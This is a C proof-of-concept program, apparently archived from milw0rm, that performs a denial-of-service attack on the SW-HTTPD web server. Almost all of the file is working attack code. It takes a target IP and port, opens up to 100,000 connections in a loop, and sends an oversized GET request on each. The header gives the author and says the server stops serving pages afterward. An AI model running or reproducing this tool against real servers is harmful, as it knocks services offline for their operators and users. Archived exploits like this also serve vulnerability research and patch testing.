91 lines
No EOL
2.4 KiB
C
91 lines
No EOL
2.4 KiB
C
/*
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SW-HTTPD Server v0.x Denial of Service (PoC)
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Multiple Connections with GET /A[100] HTTP/1.1
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After server not found all pages.
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Author: Jonathan Salwan
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Mail : submit [AT] shell-storm.org
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Web : http://www.shell-storm.org
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*/
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#include "stdio.h"
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#include "unistd.h"
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#include "stdlib.h"
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#include "sys/types.h"
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#include "sys/socket.h"
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#include "netinet/in.h"
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int syntax(char *file)
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{
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fprintf(stderr,"SW-HTTPD Server Denial of Service (PoC)\n");
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fprintf(stderr,"=>Syntax : <%s> <ip> <port>\n\n",file);
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exit(0);
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}
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int main(int argc, char **argv)
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{
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if (argc < 2)
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syntax(argv[0]);
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int port = atoi(argv[2]);
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int mysocket;
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int mysocket2;
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int srv_connect;
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int sockaddr_long;
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char hexa[100] = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
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"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
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struct sockaddr_in sockaddr_mysocket;
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sockaddr_long = sizeof(sockaddr_mysocket);
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sockaddr_mysocket.sin_family = AF_INET;
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sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
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sockaddr_mysocket.sin_port = htons(port);
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int i=0;
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char request[118];
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fprintf(stdout,"[+]SW-HTTPD Server %s\n",argv[1]);
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for(i=0;i<100000;i++){
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mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
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if(mysocket2 == -1){
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fprintf(stdout,"[+]Done!\n");
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return 1;}
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srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
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if (srv_connect != -1)
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{
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sprintf(request, "GET /%s HTTP/1.1\r\n", hexa);
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if (send(mysocket2,request,sizeof(request),0) == -1){
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fprintf(stderr,"[-]Send Request\t\t[FAILED]\n");
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shutdown(mysocket2,1);
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fprintf(stdout,"[+]Done!\n");
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return 1;}
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}
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else{
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fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
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fprintf(stdout,"[+]Done!\n");
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shutdown(mysocket2,1);
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return 1;}
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shutdown(mysocket2,1);
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}
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return 0;
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}
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// milw0rm.com [2009-03-19]
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